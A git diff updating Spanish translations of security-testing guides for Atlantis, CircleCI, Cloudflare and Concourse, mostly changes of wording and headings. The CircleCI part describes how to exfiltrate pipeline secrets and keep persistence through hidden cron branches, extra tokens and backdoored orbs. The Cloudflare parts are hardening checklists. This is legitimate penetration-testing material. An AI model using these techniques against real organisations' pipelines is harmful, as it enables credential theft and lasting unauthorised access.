-Si los atacantes envían pull requests con código malicioso de Terraform en tu modelo de amenaza, entonces debes ser consciente de que las aprobaciones de `terraform apply` no son suficientes. Es posible ejecutar código malicioso en un `terraform plan` utilizando la [fuente de datos `external`](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) o especificando un proveedor malicioso. Este código podría luego exfiltrar tus credenciales.
+Si los atacantes que envían pull requests con código malicioso de Terraform están en tu modelo de amenaza, entonces debes ser consciente de que las aprobaciones de `terraform apply` no son suficientes. Es posible ejecutar código malicioso en un `terraform plan` utilizando la [`fuente de datos externa`](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) o especificando un proveedor malicioso. Este código podría luego exfiltrar tus credenciales.
 
 Para prevenir esto, podrías:
 
-1. Incluir proveedores en la imagen de Atlantis o alojar y negar egress en producción.
-2. Implementar el protocolo de registro de proveedores internamente y negar egress público, de esa manera controlas quién tiene acceso de escritura al registro.
-3. Modificar el paso `plan` de tu [configuración de repositorio del lado del servidor](https://www.runatlantis.io/docs/server-side-repo-config.html) para validar contra el uso de proveedores o fuentes de datos no permitidos o PRs de usuarios no permitidos. También podrías agregar validación adicional en este punto, por ejemplo, requiriendo un "me gusta" en el PR antes de permitir que el `plan` continúe. Conftest podría ser útil aquí.
+1. Incluir proveedores en la imagen de Atlantis o alojar y negar la salida en producción.
+2. Implementar el protocolo de registro de proveedores internamente y negar la salida pública, de esa manera controlas quién tiene acceso de escritura al registro.
+3. Modificar el paso `plan` de tu [configuración de repositorio del lado del servidor](https://www.runatlantis.io/docs/server-side-repo-config.html) para validar contra el uso de proveedores o fuentes de datos no permitidos o PRs de usuarios no autorizados. También podrías agregar validación adicional en este punto, por ejemplo, requiriendo un "me gusta" en el PR antes de permitir que el `plan` continúe. Conftest podría ser útil aquí.
 
-#### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
+#### Secretos de Webhook <a href="#webhook-secrets" id="webhook-secrets"></a>
 
-Atlantis debe ejecutarse con los secretos de Webhook establecidos a través de las variables de entorno `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Incluso con la bandera `--repo-allowlist` establecida, sin un webhook secret, los atacantes podrían hacer solicitudes a Atlantis haciéndose pasar por un repositorio que está en la lista permitida. Los secretos de Webhook aseguran que las solicitudes de webhook provengan realmente de tu proveedor de VCS (GitHub o GitLab).
+Atlantis debe ejecutarse con secretos de Webhook establecidos a través de las variables de entorno `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Incluso con la bandera `--repo-allowlist` establecida, sin un secreto de webhook, los atacantes podrían hacer solicitudes a Atlantis haciéndose pasar por un repositorio que está en la lista permitida. Los secretos de webhook aseguran que las solicitudes de webhook provengan realmente de tu proveedor de VCS (GitHub o GitLab).
 
 Si estás utilizando Azure DevOps, en lugar de secretos de webhook, agrega un nombre de usuario y una contraseña básicos.
 
-#### Azure DevOps Basic Authentication <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
+#### Autenticación Básica de Azure DevOps <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
 
-Azure DevOps admite el envío de un encabezado de autenticación básica en todos los eventos de webhook. Esto requiere usar una URL HTTPS para tu ubicación de webhook.
+Azure DevOps admite el envío de un encabezado de autenticación básica en todos los eventos de webhook. Esto requiere usar una URL HTTPS para la ubicación de tu webhook.
 
 #### SSL/HTTPS <a href="#ssl-https" id="ssl-https"></a>
 
 Si estás utilizando secretos de webhook pero tu tráfico es a través de HTTP, entonces los secretos de webhook podrían ser robados. Habilita SSL/HTTPS utilizando las banderas `--ssl-cert-file` y `--ssl-key-file`.
 
-#### Enable Authentication on Atlantis Web Server <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
+#### Habilitar Autenticación en el Servidor Web de Atlantis <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
 
 Se recomienda encarecidamente habilitar la autenticación en el servicio web. Habilita BasicAuth utilizando `--web-basic-auth=true` y configura un nombre de usuario y una contraseña utilizando las banderas `--web-username=yourUsername` y `--web-password=yourPassword`.
 
 También puedes pasar estos como variables de entorno `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` y `ATLANTIS_WEB_PASSWORD=yourPassword`.
 
-### References
+### Referencias
 
 - [**https://www.runatlantis.io/docs**](https://www.runatlantis.io/docs)
 - [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)

src/pentesting-ci-cd/circleci-security.md

@@ -1,4 +1,4 @@
-# CircleCI Security
+# Seguridad de CircleCI
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -39,7 +39,7 @@ command: echo $SECRET
 environment:
 SECRET: A secret
 ```
-Puedes declararlos en texto claro dentro del **entorno de trabajo de construcción**:
+Puedes declararlos en texto claro dentro del **entorno del trabajo de construcción**:
 ```yaml
 jobs:
 build-job:
@@ -85,17 +85,17 @@ Si tienes **acceso al VCS** (como github), revisa el archivo `.circleci/config.y
 
 #### Enumeración de Variables de Entorno Secretas y Contexto
 
-Revisando el código puedes encontrar **todos los nombres de los secretos** que están siendo **utilizados** en cada archivo `.circleci/config.yml`. También puedes obtener los **nombres de contexto** de esos archivos o verificarlos en la consola web: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
+Revisando el código puedes encontrar **todos los nombres de los secretos** que están siendo **utilizados** en cada archivo `.circleci/config.yml`. También puedes obtener los **nombres de contexto** de esos archivos o revisarlos en la consola web: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
 
 #### Exfiltrar Secretos del Proyecto
 
 > [!WARNING]
-> Para **exfiltrar TODOS** los **SECRETOS** del proyecto y del contexto, **solo** necesitas tener acceso **de ESCRITURA** a **solo 1 repo** en toda la organización de github (_y tu cuenta debe tener acceso a los contextos, pero por defecto todos pueden acceder a cada contexto_).
+> Para **exfiltrar TODOS** los **SECRETOS** del proyecto y del contexto, **solo** necesitas tener acceso de **ESCRITURA** a **solo 1 repo** en toda la organización de github (_y tu cuenta debe tener acceso a los contextos, pero por defecto todos pueden acceder a cada contexto_).
 
 > [!CAUTION]
 > La funcionalidad de "**Importar Variables**" permite **importar variables de otros proyectos** a este. Por lo tanto, un atacante podría **importar todas las variables del proyecto de todos los repos** y luego **exfiltrar todas juntas**.
 
-Todos los secretos del proyecto siempre se establecen en el entorno de los trabajos, por lo que solo llamar a env y ofuscarlo en base64 exfiltrará los secretos en la **consola de registro web de workflows**:
+Todos los secretos del proyecto siempre se establecen en el entorno de los trabajos, por lo que solo llamar a env y ofuscarlo en base64 exfiltrará los secretos en la **consola de registro web de los flujos de trabajo**:
 ```yaml
 version: 2.1
 
@@ -163,7 +163,7 @@ jobs:
 - exfil-env:
 context: Test-Context
 ```
-Si **no tienes acceso a la consola web** pero tienes **acceso al repositorio** y sabes que se utiliza CircleCI, puedes **modificar un flujo de trabajo** que se **activa cada minuto** y que **exfiltra los secretos a una dirección externa**:
+Si **no tienes acceso a la consola web** pero tienes **acceso al repositorio** y sabes que se utiliza CircleCI, puedes simplemente **modificar un flujo de trabajo** que se **activa cada minuto** y que **exfiltra los secretos a una dirección externa**:
 ```yaml
 version: 2.1
 
@@ -194,10 +194,10 @@ context: Test-Context
 > [!WARNING]
 > Simplemente crear un nuevo `.circleci/config.yml` en un repositorio **no es suficiente para activar una construcción de circleci**. Necesitas **habilitarlo como un proyecto en la consola de circleci**.
 
-#### Escape a la Nube
+#### Escape to Cloud
 
 **CircleCI** te da la opción de ejecutar **tus construcciones en sus máquinas o en las tuyas**.\
-Por defecto, sus máquinas están ubicadas en GCP, y al principio no podrás encontrar nada relevante. Sin embargo, si una víctima está ejecutando las tareas en **sus propias máquinas (potencialmente, en un entorno de nube)**, podrías encontrar un **punto final de metadatos de nube con información interesante**.
+Por defecto, sus máquinas están ubicadas en GCP, y al principio no podrás encontrar nada relevante. Sin embargo, si una víctima está ejecutando las tareas en **sus propias máquinas (potencialmente, en un entorno en la nube)**, podrías encontrar un **punto final de metadatos en la nube con información interesante**.
 
 Ten en cuenta que en los ejemplos anteriores se lanzó todo dentro de un contenedor de docker, pero también puedes **pedir que se lance una máquina VM** (que puede tener diferentes permisos en la nube):
 ```yaml
@@ -221,15 +221,15 @@ version: 19.03.13
 ```
 #### Persistencia
 
-- Es posible **crear** **tokens de usuario en CircleCI** para acceder a los endpoints de la API con el acceso del usuario.
+- Es posible **crear** **tokens de usuario en CircleCI** para acceder a los endpoints de la API con el acceso de los usuarios.
 - _https://app.circleci.com/settings/user/tokens_
 - Es posible **crear tokens de proyectos** para acceder al proyecto con los permisos otorgados al token.
 - _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
 - Es posible **agregar claves SSH** a los proyectos.
 - _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
 - Es posible **crear un trabajo cron en una rama oculta** en un proyecto inesperado que está **filtrando** todas las variables de **contexto env** todos los días.
-- O incluso crear en una rama / modificar un trabajo conocido que **filtrará** todo el contexto y los **secretos de proyectos** todos los días.
-- Si eres un propietario de github, puedes **permitir orbes no verificados** y configurar uno en un trabajo como **puerta trasera**.
+- O incluso crear en una rama / modificar un trabajo conocido que **filtrará** todo el contexto y los **secretos de los proyectos** todos los días.
+- Si eres un propietario de github, puedes **permitir orbs no verificados** y configurar uno en un trabajo como **puerta trasera**.
 - Puedes encontrar una **vulnerabilidad de inyección de comandos** en alguna tarea e **inyectar comandos** a través de un **secreto** modificando su valor.
 
 {{#include ../banners/hacktricks-training.md}}

src/pentesting-ci-cd/cloudflare-security/README.md

@@ -1,4 +1,4 @@
-# Cloudflare Security
+# Seguridad de Cloudflare
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -6,7 +6,7 @@ En una cuenta de Cloudflare hay algunas **configuraciones y servicios generales*
 
 <figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
 
-## Websites
+## Sitios web
 
 Revisa cada uno con:
 
@@ -14,9 +14,9 @@ Revisa cada uno con:
 cloudflare-domains.md
 {{#endref}}
 
-### Domain Registration
+### Registro de Dominio
 
-- [ ] En **`Transfer Domains`** verifica que no sea posible transferir ningún dominio.
+- [ ] En **`Transferir Dominios`** verifica que no sea posible transferir ningún dominio.
 
 Revisa cada uno con:
 
@@ -24,20 +24,20 @@ Revisa cada uno con:
 cloudflare-domains.md
 {{#endref}}
 
-## Analytics
+## Análisis
 
 _No pude encontrar nada para revisar la configuración de seguridad._
 
-## Pages
+## Páginas
 
 En cada página de Cloudflare:
 
-- [ ] Verifica si hay **información sensible** en el **`Build log`**.
+- [ ] Verifica si hay **información sensible** en el **`Registro de construcción`**.
 - [ ] Verifica si hay **información sensible** en el **repositorio de Github** asignado a las páginas.
 - [ ] Verifica posibles compromisos del repositorio de github a través de **inyección de comandos de flujo de trabajo** o compromiso de `pull_request_target`. Más información en la [**página de Seguridad de Github**](../github-security/).
 - [ ] Verifica si hay **funciones vulnerables** en el directorio `/fuctions` (si las hay), verifica los **redireccionamientos** en el archivo `_redirects` (si los hay) y los **encabezados mal configurados** en el archivo `_headers` (si los hay).
 - [ ] Verifica si hay **vulnerabilidades** en la **página web** a través de **blackbox** o **whitebox** si puedes **acceder al código**.
-- [ ] En los detalles de cada página `/<page_id>/pages/view/blocklist/settings/functions`. Verifica si hay **información sensible** en las **`Environment variables`**.
+- [ ] En los detalles de cada página `/<page_id>/pages/view/blocklist/settings/functions`. Verifica si hay **información sensible** en las **`Variables de entorno`**.
 - [ ] En la página de detalles verifica también el **comando de construcción** y el **directorio raíz** en busca de **inyecciones potenciales** que comprometan la página.
 
 ## **Workers**
@@ -45,10 +45,10 @@ En cada página de Cloudflare:
 En cada worker de Cloudflare verifica:
 
 - [ ] Los disparadores: ¿Qué hace que el worker se active? ¿Puede un **usuario enviar datos** que serán **utilizados** por el worker?
-- [ ] En los **`Settings`**, verifica si hay **`Variables`** que contengan **información sensible**.
+- [ ] En los **`Ajustes`**, verifica si hay **`Variables`** que contengan **información sensible**.
 - [ ] Verifica el **código del worker** y busca **vulnerabilidades** (especialmente en lugares donde el usuario puede gestionar la entrada).
 - Verifica SSRFs que devuelvan la página indicada que puedes controlar.
-- Verifica XSSs ejecutando JS dentro de una imagen svg.
+- Verifica XSSs que ejecuten JS dentro de una imagen svg.
 - Es posible que el worker interactúe con otros servicios internos. Por ejemplo, un worker puede interactuar con un bucket R2 que almacena información obtenida de la entrada. En ese caso, sería necesario verificar qué capacidades tiene el worker sobre el bucket R2 y cómo podría ser abusado a partir de la entrada del usuario.
 
 > [!WARNING]
@@ -58,19 +58,19 @@ En cada worker de Cloudflare verifica:
 
 En cada bucket R2 verifica:
 
-- [ ] Configura la **CORS Policy**.
+- [ ] Configura la **Política de CORS**.
 
 ## Stream
 
 TODO
 
-## Images
+## Imágenes
 
 TODO
 
-## Security Center
+## Centro de Seguridad
 
-- [ ] Si es posible, ejecuta un **`Security Insights`** **scan** y un **`Infrastructure`** **scan**, ya que **destacarán** información interesante desde el punto de vista de **seguridad**.
+- [ ] Si es posible, ejecuta un **escaneo de `Insights de Seguridad`** y un **escaneo de `Infraestructura`**, ya que **destacarán** información interesante desde el punto de vista de la **seguridad**.
 - [ ] Solo **verifica esta información** en busca de configuraciones de seguridad incorrectas e información interesante.
 
 ## Turnstile
@@ -83,52 +83,52 @@ TODO
 cloudflare-zero-trust-network.md
 {{#endref}}
 
-## Bulk Redirects
+## Redireccionamientos Masivos
 
 > [!NOTE]
-> A diferencia de [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) son esencialmente estáticos: no **soportan ninguna operación de reemplazo de cadenas** ni expresiones regulares. Sin embargo, puedes configurar parámetros de redirección de URL que afectan su comportamiento de coincidencia de URL y su comportamiento en tiempo de ejecución.
+> A diferencia de [Redireccionamientos Dinámicos](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Redireccionamientos Masivos**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) son esencialmente estáticos: no **admiten ninguna operación de reemplazo de cadenas** ni expresiones regulares. Sin embargo, puedes configurar parámetros de redireccionamiento de URL que afectan su comportamiento de coincidencia de URL y su comportamiento en tiempo de ejecución.
 
-- [ ] Verifica que las **expresiones** y **requisitos** para las redirecciones **tengan sentido**.
-- [ ] Verifica también si hay **endpoints ocultos sensibles** que contengan información interesante.
+- [ ] Verifica que las **expresiones** y **requisitos** para los redireccionamientos **tengan sentido**.
+- [ ] Verifica también si hay **puntos finales ocultos sensibles** que contengan información interesante.
 
-## Notifications
+## Notificaciones
 
-- [ ] Verifica las **notificaciones.** Estas notificaciones son recomendadas para seguridad:
-- `Usage Based Billing`
-- `HTTP DDoS Attack Alert`
-- `Layer 3/4 DDoS Attack Alert`
-- `Advanced HTTP DDoS Attack Alert`
-- `Advanced Layer 3/4 DDoS Attack Alert`
-- `Flow-based Monitoring: Volumetric Attack`
-- `Route Leak Detection Alert`
-- `Access mTLS Certificate Expiration Alert`
-- `SSL for SaaS Custom Hostnames Alert`
-- `Universal SSL Alert`
-- `Script Monitor New Code Change Detection Alert`
-- `Script Monitor New Domain Alert`
-- `Script Monitor New Malicious Domain Alert`
-- `Script Monitor New Malicious Script Alert`
-- `Script Monitor New Malicious URL Alert`
-- `Script Monitor New Scripts Alert`
-- `Script Monitor New Script Exceeds Max URL Length Alert`
-- `Advanced Security Events Alert`
-- `Security Events Alert`
+- [ ] Verifica las **notificaciones.** Estas notificaciones son recomendadas para la seguridad:
+- `Facturación Basada en Uso`
+- `Alerta de Ataque DDoS HTTP`
+- `Alerta de Ataque DDoS Capa 3/4`
+- `Alerta de Ataque DDoS HTTP Avanzado`
+- `Alerta de Ataque DDoS Capa 3/4 Avanzado`
+- `Monitoreo Basado en Flujo: Ataque Volumétrico`
+- `Alerta de Detección de Fugas de Ruta`
+- `Alerta de Expiración de Certificado mTLS de Acceso`
+- `Alerta de SSL para Nombres de Host Personalizados de SaaS`
+- `Alerta de SSL Universal`
+- `Alerta de Detección de Nuevos Cambios de Código en el Monitor de Scripts`
+- `Alerta de Nuevo Dominio en el Monitor de Scripts`
+- `Alerta de Nuevo Dominio Malicioso en el Monitor de Scripts`
+- `Alerta de Nuevo Script Malicioso en el Monitor de Scripts`
+- `Alerta de Nueva URL Maliciosa en el Monitor de Scripts`
+- `Alerta de Nuevos Scripts en el Monitor de Scripts`
+- `Alerta de Nuevo Script Excede la Longitud Máxima de URL en el Monitor de Scripts`
+- `Alerta de Eventos de Seguridad Avanzados`
+- `Alerta de Eventos de Seguridad`
 - [ ] Verifica todos los **destinos**, ya que podría haber **información sensible** (autenticación http básica) en las URLs de webhook. Asegúrate también de que las URLs de webhook usen **HTTPS**.
 - [ ] Como verificación adicional, podrías intentar **suplantar una notificación de cloudflare** a un tercero, tal vez puedas **inyectar algo peligroso** de alguna manera.
 
-## Manage Account
+## Gestionar Cuenta
 
-- [ ] Es posible ver los **últimos 4 dígitos de la tarjeta de crédito**, el **tiempo de expiración** y la **dirección de facturación** en **`Billing` -> `Payment info`**.
-- [ ] Es posible ver el **tipo de plan** utilizado en la cuenta en **`Billing` -> `Subscriptions`**.
-- [ ] En **`Members`** es posible ver todos los miembros de la cuenta y su **rol**. Ten en cuenta que si el tipo de plan no es Enterprise, solo existen 2 roles: Administrador y Super Administrador. Pero si el **plan utilizado es Enterprise**, se pueden usar [**más roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) para seguir el principio de menor privilegio.
+- [ ] Es posible ver los **últimos 4 dígitos de la tarjeta de crédito**, el **tiempo de expiración** y la **dirección de facturación** en **`Facturación` -> `Información de pago`**.
+- [ ] Es posible ver el **tipo de plan** utilizado en la cuenta en **`Facturación` -> `Suscripciones`**.
+- [ ] En **`Miembros`** es posible ver todos los miembros de la cuenta y su **rol**. Ten en cuenta que si el tipo de plan no es Enterprise, solo existen 2 roles: Administrador y Super Administrador. Pero si el **plan utilizado es Enterprise**, se pueden usar [**más roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) para seguir el principio de menor privilegio.
 - Por lo tanto, siempre que sea posible, se **recomienda** utilizar el **plan Enterprise**.
-- [ ] En Members es posible verificar qué **miembros** tienen **2FA habilitado**. **Cada** usuario debería tenerlo habilitado.
+- [ ] En Miembros es posible verificar qué **miembros** tienen **2FA habilitado**. **Cada** usuario debería tenerlo habilitado.
 
 > [!NOTE]
-> Ten en cuenta que afortunadamente el rol **`Administrator`** no otorga permisos para gestionar membresías (**no puede escalar privilegios ni invitar** nuevos miembros).
+> Ten en cuenta que afortunadamente el rol **`Administrador`** no otorga permisos para gestionar membresías (**no puede escalar privilegios ni invitar** nuevos miembros).
 
-## DDoS Investigation
+## Investigación de DDoS
 
-[Revisa esta parte](cloudflare-domains.md#cloudflare-ddos-protection).
+[Ver esta parte](cloudflare-domains.md#cloudflare-ddos-protection).
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md

@@ -1,4 +1,4 @@
-# Cloudflare Domains
+# Dominios de Cloudflare
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -6,42 +6,42 @@ En cada TLD configurado en Cloudflare hay algunas **configuraciones y servicios
 
 <figure><img src="../../images/image (101).png" alt=""><figcaption></figcaption></figure>
 
-### Overview
+### Resumen
 
-- [ ] Obtener una idea de **cuánto** se están **usando** los servicios de la cuenta
+- [ ] Tener una idea de **cuánto** se están **usando** los servicios de la cuenta
 - [ ] Encontrar también el **ID de zona** y el **ID de cuenta**
 
-### Analytics
+### Analítica
 
-- [ ] En **`Security`** verificar si hay alguna **Limitación de tasa**
+- [ ] En **`Seguridad`** verificar si hay alguna **limitación de tasa**
 
 ### DNS
 
-- [ ] Verificar datos **interesantes** (¿sensibles?) en los **registros** DNS
+- [ ] Verificar datos **interesantes** (¿sensibles?) en los **registros** de DNS
 - [ ] Verificar **subdominios** que podrían contener **información sensible** solo basándose en el **nombre** (como admin173865324.domin.com)
 - [ ] Verificar páginas web que **no están** **protegidas**
 - [ ] Verificar **páginas web protegidas** que pueden ser **accedidas directamente** por CNAME o dirección IP
-- [ ] Verificar que **DNSSEC** esté **habilitado**
-- [ ] Verificar que **CNAME Flattening** esté **usado** en **todos los CNAMEs**
+- [ ] Verificar que **DNSSEC** está **habilitado**
+- [ ] Verificar que **CNAME Flattening** está **usado** en **todos los CNAMEs**
 - Esto podría ser útil para **ocultar vulnerabilidades de toma de subdominio** y mejorar los tiempos de carga
-- [ ] Verificar que los dominios [**no sean vulnerables a suplantación**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
+- [ ] Verificar que los dominios [**no son vulnerables a suplantación**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
 
-### **Email**
+### **Correo Electrónico**
 
 TODO
 
-### Spectrum
+### Espectro
 
 TODO
 
 ### SSL/TLS
 
-#### **Overview**
+#### **Resumen**
 
 - [ ] La **encriptación SSL/TLS** debe ser **Completa** o **Completa (Estricto)**. Cualquier otra enviará **tráfico en texto claro** en algún momento.
-- [ ] El **Recomendador SSL/TLS** debe estar habilitado
+- [ ] El **Recomendador de SSL/TLS** debe estar habilitado
 
-#### Edge Certificates
+#### Certificados de Edge
 
 - [ ] **Siempre usar HTTPS** debe estar **habilitado**
 - [ ] **HTTP Strict Transport Security (HSTS)** debe estar **habilitado**
@@ -50,77 +50,77 @@ TODO
 - [ ] **Reescrituras automáticas de HTTPS** deben estar **habilitadas**
 - [ ] **Monitoreo de transparencia de certificados** debe estar **habilitado**
 
-### **Security**
+### **Seguridad**
 
-- [ ] En la sección **`WAF`** es interesante verificar que se **utilizan reglas de Firewall** y **limitación de tasa** para prevenir abusos.
-- La acción **`Bypass`** **desactivará las** características de seguridad de Cloudflare para una solicitud. No debería ser utilizada.
-- [ ] En la sección **`Page Shield`** se recomienda verificar que esté **habilitado** si se utiliza alguna página
-- [ ] En la sección **`API Shield`** se recomienda verificar que esté **habilitado** si alguna API está expuesta en Cloudflare
+- [ ] En la sección **`WAF`** es interesante verificar que se están **usando reglas de Firewall** y **limitación de tasa** para prevenir abusos.
+- La acción **`Bypass`** **desactivará las características de seguridad** de Cloudflare para una solicitud. No debería ser utilizada.
+- [ ] En la sección **`Page Shield`** se recomienda verificar que está **habilitado** si se utiliza alguna página
+- [ ] En la sección **`API Shield`** se recomienda verificar que está **habilitado** si alguna API está expuesta en Cloudflare
 - [ ] En la sección **`DDoS`** se recomienda habilitar las **protecciones DDoS**
-- [ ] En la sección **`Settings`**:
-- [ ] Verificar que el **`Nivel de Seguridad`** sea **medio** o mayor
-- [ ] Verificar que el **`Tiempo de Desafío`** sea de 1 hora como máximo
-- [ ] Verificar que la **`Verificación de Integridad del Navegador`** esté **habilitada**
-- [ ] Verificar que el **`Soporte de Privacy Pass`** esté **habilitado**
+- [ ] En la sección **`Configuraciones`**:
+- [ ] Verificar que el **`Nivel de Seguridad`** es **medio** o mayor
+- [ ] Verificar que el **`Tiempo de Desafío`** es de 1 hora como máximo
+- [ ] Verificar que la **`Verificación de Integridad del Navegador`** está **habilitada**
+- [ ] Verificar que el **`Soporte de Privacy Pass`** está **habilitado**
 
-#### **CloudFlare DDoS Protection**
+#### **Protección DDoS de CloudFlare**
 
 - Si puedes, habilita **Bot Fight Mode** o **Super Bot Fight Mode**. Si estás protegiendo alguna API accesada programáticamente (desde una página de frontend JS, por ejemplo). Puede que no puedas habilitar esto sin romper ese acceso.
-- En **WAF**: Puedes crear **límites de tasa por ruta URL** o para **bots verificados** (reglas de limitación de tasa), o para **bloquear acceso** basado en IP, Cookie, referidor...). Así que podrías bloquear solicitudes que no provengan de una página web o que no tengan una cookie.
+- En **WAF**: Puedes crear **límites de tasa por ruta de URL** o para **bots verificados** (reglas de limitación de tasa), o para **bloquear acceso** basado en IP, Cookie, referidor...). Así que podrías bloquear solicitudes que no provengan de una página web o que no tengan una cookie.
 - Si el ataque es de un **bot verificado**, al menos **agrega un límite de tasa** a los bots.
 - Si el ataque es a una **ruta específica**, como mecanismo de prevención, agrega un **límite de tasa** en esta ruta.
 - También puedes **blanquear** direcciones IP, rangos de IP, países o ASN desde las **Herramientas** en WAF.
 - Verifica si las **Reglas gestionadas** también podrían ayudar a prevenir explotaciones de vulnerabilidades.
 - En la sección **Herramientas** puedes **bloquear o dar un desafío a IPs** y **agentes de usuario** específicos.
-- En DDoS podrías **sobrescribir algunas reglas para hacerlas más restrictivas**.
-- **Configuraciones**: Establecer el **Nivel de Seguridad** en **Alto** y en **Bajo Ataque** si estás Bajo Ataque y que la **Verificación de Integridad del Navegador esté habilitada**.
-- En Cloudflare Domains -> Analytics -> Security -> Verificar si **la limitación de tasa** está habilitada
-- En Cloudflare Domains -> Security -> Events -> Verificar si hay **Eventos maliciosos detectados**
+- En DDoS podrías **anular algunas reglas para hacerlas más restrictivas**.
+- **Configuraciones**: Establece el **Nivel de Seguridad** en **Alto** y en **Bajo Ataque** si estás Bajo Ataque y que la **Verificación de Integridad del Navegador está habilitada**.
+- En Dominios de Cloudflare -> Analítica -> Seguridad -> Verifica si la **limitación de tasa** está habilitada
+- En Dominios de Cloudflare -> Seguridad -> Eventos -> Verifica si hay **Eventos maliciosos detectados**
 
-### Access
+### Acceso
 
 {{#ref}}
 cloudflare-zero-trust-network.md
 {{#endref}}
 
-### Speed
+### Velocidad
 
 _No pude encontrar ninguna opción relacionada con la seguridad_
 
-### Caching
+### Caché
 
-- [ ] En la sección **`Configuration`** considera habilitar la **Herramienta de Escaneo CSAM**
+- [ ] En la sección **`Configuración`** considera habilitar la **Herramienta de Escaneo de CSAM**
 
-### **Workers Routes**
+### **Rutas de Workers**
 
 _Ya deberías haber revisado_ [_cloudflare workers_](./#workers)
 
-### Rules
+### Reglas
 
 TODO
 
-### Network
+### Red
 
-- [ ] Si **`HTTP/2`** está **habilitado**, **`HTTP/2 to Origin`** debe estar **habilitado**
+- [ ] Si **`HTTP/2`** está **habilitado**, **`HTTP/2 a Origen`** debe estar **habilitado**
 - [ ] **`HTTP/3 (con QUIC)`** debe estar **habilitado**
 - [ ] Si la **privacidad** de tus **usuarios** es importante, asegúrate de que **`Onion Routing`** esté **habilitado**
 
-### **Traffic**
+### **Tráfico**
 
 TODO
 
-### Custom Pages
+### Páginas Personalizadas
 
 - [ ] Es opcional configurar páginas personalizadas cuando se activa un error relacionado con la seguridad (como un bloqueo, limitación de tasa o estoy en modo de ataque)
 
-### Apps
+### Aplicaciones
 
 TODO
 
 ### Scrape Shield
 
-- [ ] Verificar que la **Ofuscación de Direcciones de Correo Electrónico** esté **habilitada**
-- [ ] Verificar que los **Excluidos del lado del servidor** estén **habilitados**
+- [ ] Verificar que la **Ofuscación de Direcciones de Correo Electrónico** está **habilitada**
+- [ ] Verificar que los **Excluidos del lado del servidor** están **habilitados**
 
 ### **Zaraz**
 

src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md

@@ -23,12 +23,12 @@ En una cuenta de **Cloudflare Zero Trust Network** hay algunas **configuraciones
 En cada aplicación:
 
 - [ ] Verificar **quién** puede acceder a la aplicación en las **Policies** y asegurarse de que **solo** los **usuarios** que **necesitan acceso** a la aplicación puedan acceder.
-- Para permitir el acceso se van a utilizar **`Access Groups`** (y también se pueden establecer **reglas adicionales**)
-- [ ] Verificar que los **proveedores de identidad disponibles** no sean **demasiado abiertos**
+- Para permitir el acceso se van a utilizar **`Access Groups`** (y se pueden establecer **reglas adicionales** también)
+- [ ] Verificar los **proveedores de identidad disponibles** y asegurarse de que **no sean demasiado abiertos**
 - [ ] En **`Settings`**:
 - [ ] Verificar que **CORS no esté habilitado** (si está habilitado, verificar que sea **seguro** y que no esté permitiendo todo)
 - [ ] Las cookies deben tener el atributo **Strict Same-Site**, **HTTP Only** y **binding cookie** debe estar **habilitado** si la aplicación es HTTP.
-- [ ] Considerar habilitar también **Browser rendering** para mejor **protección. Más información sobre** [**aislamiento de navegador remoto aquí**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
+- [ ] Considerar habilitar también **Browser rendering** para mejor **protección. Más información sobre** [**remote browser isolation aquí**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
 
 #### **Access Groups**
 
@@ -50,7 +50,7 @@ TODO
 
 ### Logs
 
-- [ ] Podrías buscar **acciones inesperadas** de los usuarios
+- [ ] Podría buscar **acciones inesperadas** de los usuarios
 
 ### Settings
 

src/pentesting-ci-cd/concourse-security/README.md

@@ -1,4 +1,4 @@
-# Concourse Security
+# Seguridad de Concourse
 
 {{#include ../../banners/hacktricks-training.md}}
 

src/pentesting-ci-cd/concourse-security/concourse-architecture.md

@@ -1,12 +1,12 @@
-# Concourse Architecture
+# Arquitectura de Concourse
 
-## Concourse Architecture
+## Arquitectura de Concourse
 
 {{#include ../../banners/hacktricks-training.md}}
 
 [**Datos relevantes de la documentación de Concourse:**](https://concourse-ci.org/internals.html)
 
-### Architecture
+### Arquitectura
 
 ![](<../../images/image (187).png>)
 
@@ -14,24 +14,24 @@
 
 El ATC es el corazón de Concourse. Ejecuta la **interfaz web y API** y es responsable de toda la **programación** de pipelines. Se **conecta a PostgreSQL**, que utiliza para almacenar datos de pipelines (incluidos los registros de compilación).
 
